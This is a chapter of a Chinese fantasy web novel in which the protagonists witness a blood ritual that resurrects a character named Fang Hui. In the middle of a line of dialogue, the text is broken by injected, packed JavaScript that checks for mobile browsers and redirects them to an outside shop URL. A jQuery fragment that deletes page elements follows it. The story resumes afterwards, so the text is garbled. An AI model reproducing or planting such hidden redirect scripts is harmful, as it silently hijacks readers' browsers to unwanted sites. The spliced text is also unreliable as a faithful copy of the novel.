73. 你在期待什么?

作品:《上司跑路,我和纨绔修成正果了!

    三条路摆在眼前,几个人相互看了看觉得哪条都像黄泉路,等着人往里跳。


    左边那条最窄,入口处有几点萤火般的微光,飘飘忽忽的,照不清路,反倒衬得两边石壁越发幽暗。中间那条最宽敞,灯火通明,亮堂堂地往前延伸,像是生怕人看不见似的。右边那条最不起眼,入口被木板草草地封住大半,木板上满是霉斑和水渍,边缘处已经朽烂了,整条通道看着摇摇欲坠,仿佛走进去就会被活埋。


    “走中间。”邵冬生说。


    “走左边。”玉万珰说。


    “走右边。”


    三道声音几乎同时响起。邵冬生和玉万珰齐齐看向说话的人——小甘。这是从地窖里把她救出来之后,她开口说的第一句话。


    几人迈向这看着格外危险的通道,火折子的光在黑暗中缩成一团,晃晃悠悠的,照不出三步远。影子投在石壁上,跟着步伐一摇一摆,细瘦得像是随时会断。脚下的路不平,时不时踩到碎石,发出清脆的咔嚓声,在空旷的甬道里来回撞,拖出长长的回响。


    在这种地方,时间是最不可靠的东西。你以为只走了一会儿,可能已经过了大半个时辰;你觉得走了很久,也许才转了一个弯。邵冬生在心里默默数着步子,一步,两步,三步——数到三千五百步的时候,前方的转角处终于透出一丝光。


    那光很弱,黄惨惨的,可在这片浓稠的黑暗里,已经足够让人松一口气。


    压抑了一路的气氛终于松动了一些,玉万珰加快两步跟上来,探着脑袋往前看了看,嘴里开始闲不住:“绿腰这些人怎么这么喜欢在地下活动?是属地鼠的?”玉万珰开口,想要缓解一下气氛,可是效果并不太好,昏暗的烛火下面前的三人停住脚步,就在他好奇向前探看时,一道声音传来。


    “当年绿腰被寂然法师赶出来,无处可去被一家客栈收留当做帮工,后来绿腰因所行之事被那两位围剿,躲在客栈地窖才勉强逃过一劫,之后便对地下建筑格外喜爱,玉公子这个解释满意吗?”


    光线将甬道齐刷刷地切开,一半是几人站着的暗,一半是那人身侧的明。赵海就站在光与暗的交界处,半个身子被照得清清楚楚,半个身子隐在阴影里。他的手闲适地揣在衣袋里,姿态松弛得像是在自家院子里散步,看见几人狼狈的模样,嘴角微微动了动,像是在笑。


    视线对上小甘时微微顿了一下,很快移开了,看到邵冬生警惕的表情和上前拦住几人的玉万珰时,似乎扯了一下嘴角:“看到你们这么快就来到这里,”他伸出手,朝他们招了招,那动作轻飘飘的,像是在招呼几只跑进院子的小猫,“我很开心。”


    “来吧。这么难得一见的时候,总是需要几个观赏者的。”他顿了顿,嘴角的弧度往下压了压,“虽然,他可不太乐意见到你们。”说完已经转身走了。


    邵冬生提步要走,被玉万珰一把拦住。


    “就这么去?!”他的声音压得很低,低到几乎是用气声在说。


    邵冬生看了他一眼,又看了看前面空荡的转角,“我一直在想一件事。”邵冬生的声音也压得很低,低到只有她和玉万珰能听见,“印章可以用的次数只有三次。”


    她抬起眼,“那这是第几次?”


    玉万珰愣了一下。


    邵冬生已经直起身,声音恢复如常:“他需要观众,那我们就去。我还真想知道,这复活之法到底是不是真的。”


    小甘看了她一眼,拉着圆圆没有说话。


    玉万珰站在原地,看着前面三道身影一前一后地走进那片光里,长长地叹了口气。


    “唉——”


    他拍了拍衣裳,把火折子吹灭,跟了上去。


    光越来越亮,空间也越来越大。邵冬生抬起头,发现他们已经不在通道里了,这是一个宽阔高大的石室,四周立着粗壮的柱子,柱身刻满了密密麻麻的纹路,一直延伸到头顶那片看不清的黑暗里去,柱顶似乎安置着什么,可光太暗了,什么也看不清。


    脚下是一条用鲜花铺出来的小道,花瓣被踩碎了,汁液渗进石缝里,散发着淡淡的甜香。小道两侧有水渠,水很浅,在暗光里泛着细碎的波纹,缓缓地往前流,一直流到石室最中央。


    那里有一个圆形的池子。


    池子不大,边缘砌得很规整,里面的水是浅淡的粉色,像是什么东西化在里面,化开了,晕染了,变成一池温柔又诡异的颜色。水从暗渠里流进来,又从另一侧流出去,可那粉色始终不退,像是从池底渗出来的。


    池子正中央,盘坐着一具骷髅。


    那骷髅被细细的丝线固定着,保持着端坐的姿态,脊背挺直,头颅微昂,像是在看着远方。丝线从四面八方牵过来,绷得很紧,把那具骨头架子牢牢地钉在原地。


    它好像在看着他们,又好像透过了他们。赵海站在池子边上,背对着他们。他身边还站着几个人,绿衣人、邓又儿、尤兰、青和、云水,还有两个没见过的,他们全都低着头,像在悼念。


    “开始吧。”赵海的声音变了。


    还是那个嗓子,可那语调、那节奏、那藏在字句之间的东西,全变了。那声音苍老,平稳,带着一种不属于赵海的东西——是寂然。


    邓又儿动了。


    她走得很快,步子很稳,几步就走到玉万珰面前。玉万珰还没反应过来,就感觉腰间一轻,那枚印章已经到了她手里。她低头看了看,抬起头,冲玉万珰笑了一下。


    “你……”


    玉万珰的话还没出口,歌声已经响起来了。


    “一剜心兮燎毒烟,神齿开兮撕魂帘~嚼喜乐兮噬笑颜,留空壳兮垂涎悬——”


    低沉的嗓音从四面八方涌来,在石室里回荡、碰撞、叠加,变成一片嗡嗡的轰鸣。那些站在池边的人齐声唱着,声音从喉咙里挤出来,压得极低极沉。


    “二剖灵兮焚七情,喉吞咽兮碎心经,蚀爱憎兮销魂形,留皮囊兮步伶仃——”


    邵冬生的心口猛地一缩,那种慌乱的让人坐立不安的感觉又出现了,比之前任何时候都要强烈,像有什么东西从胸腔里往外钻,钻得肋骨咯咯作响,钻得她喘不上气,她紧紧按住心口。旁边的圆圆已经瘫倒在地上,小脸煞白,嘴唇发紫,整个人蜷缩成一团,白色的衣角浸在从暗渠漫上来的水里,洇出一片红色的痕迹。


    “红色?”邵冬生使劲锤了下心口,勉强压住,蹲下去扶住他,手探进水里,捞起一把凑到眼前,带着点点腥味“是血。”她说。


    “他们疯了吧!”玉万珰的声音从旁边传来,带着难以置


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350892|192085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信的惊怒。


    邵冬生抬起头,赵海身后的那几个人,齐刷刷地割开了自己的手腕,动作整齐划一,像是被同一根线牵着。血从伤口里涌出来,哗啦啦地落进暗渠里,顺着水流往中央的水池汇聚。淡粉的池水以肉眼可见的速度变深,几个人的脸开始变得苍白,邓又儿的身形晃了一下,被尤兰一把撑住。她的脸白得跟那具骷髅差不多,可她还在唱,歌谣声与回声碰撞,渐渐变得嘈杂。


    寂然抬起手,他割开自己的掌心,血珠从伤口里涌出来,一滴一滴,落在印章上,他把那枚沾了血的印章按在圆台四周,每按一下,那印章就亮一分,五根围绕的柱子开始晃动,清凌凌的女声传来:


    “魂兮魂兮归来——”


    五个女子从高处落下来,她们穿着华丽的衣裙,裙摆在半空中展开,像五朵同时绽放的花。她们落得很轻,轻得几乎没有声音,脚尖点地的时候,裙摆还在微微晃动,五个女子围着骷髅开始念诵,围成圈的舞动,额间的红坠子晃着光。


    “那脸!是别思思还有蝶梦,”玉万珰一眼就看到了,“还有那个木架上的脸。”


    歌谣和念诵混合,吵得人忍不住颤抖,邵冬生听到玉万珰的话看向台上,五名女子姿态僵硬,仔细看去脑袋后边有根木棍支撑着,让她们只能维持微微垂首的姿势,这些人分明已经死去多日。


    邵冬生心跳快的要将人逼疯,她似乎看到那几名女子在哭。


    她跨步奔到台上,没人阻止她,似乎她的动作全是徒劳,邵冬生一把抓住别思思的手臂,那手臂冰凉,硬邦邦的,不像是人的肢体,倒像是被冻僵的木头,她用力往后拽,想把那具尸体从圈里拖出来,可别思思没有停。她还在转,还在念,那力量大得惊人,邵冬生被带着踉跄了一步,整个人被甩了出去,后背撞上柱子,疼得她眼前发黑。


    “轰——”


    一声巨响。


    所有的声音都停了,歌谣停了,念诵停了,脚步声停了,连回声都停了,整个空间忽然安静下来,安静得像是什么都没发生过。


    拓印的章光芒炸开,刺得人睁不开眼,等那光暗下去的时候,圆台中央多了一个人。


    方绘端坐在那具骷髅对面,脊背挺直,双手放在膝上,脸上什么表情都没有,那些血水顺着水渠攀上来,爬上他的衣摆,爬上他的膝盖,爬上他的胸口,像是活的东西,一寸一寸地往上爬。


    在血水漫到骷髅头上的时候,那具已经变红的骷髅忽然发出一声脆响。


    “咔。”


    一道裂缝从额骨正中裂开,往下延伸从眼眶,一直裂到下颌,然后是第二道,第三道,第四道,裂缝越来越多,越来越密,像蛛网一样铺满整个颅骨。


    “哗——”


    骷髅碎了,碎成无数细小的骨片,从丝线之间漏下去,落在血水里,溅起细密的水花。


    而对面的方绘睁开了眼睛,转身注视的是寂然苍老的眼睛。


    “陛下……”寂然的声音带着颤,双唇蠕动着终于说出了声音。


    方绘从池子里站起来,血水从他衣摆上滑落,滴滴答答的,在地上溅开一串暗色的水花,他一步一步走到寂然面前,站定。


    “你在期待什么?”方绘的声音响起,带着他一贯的冷淡。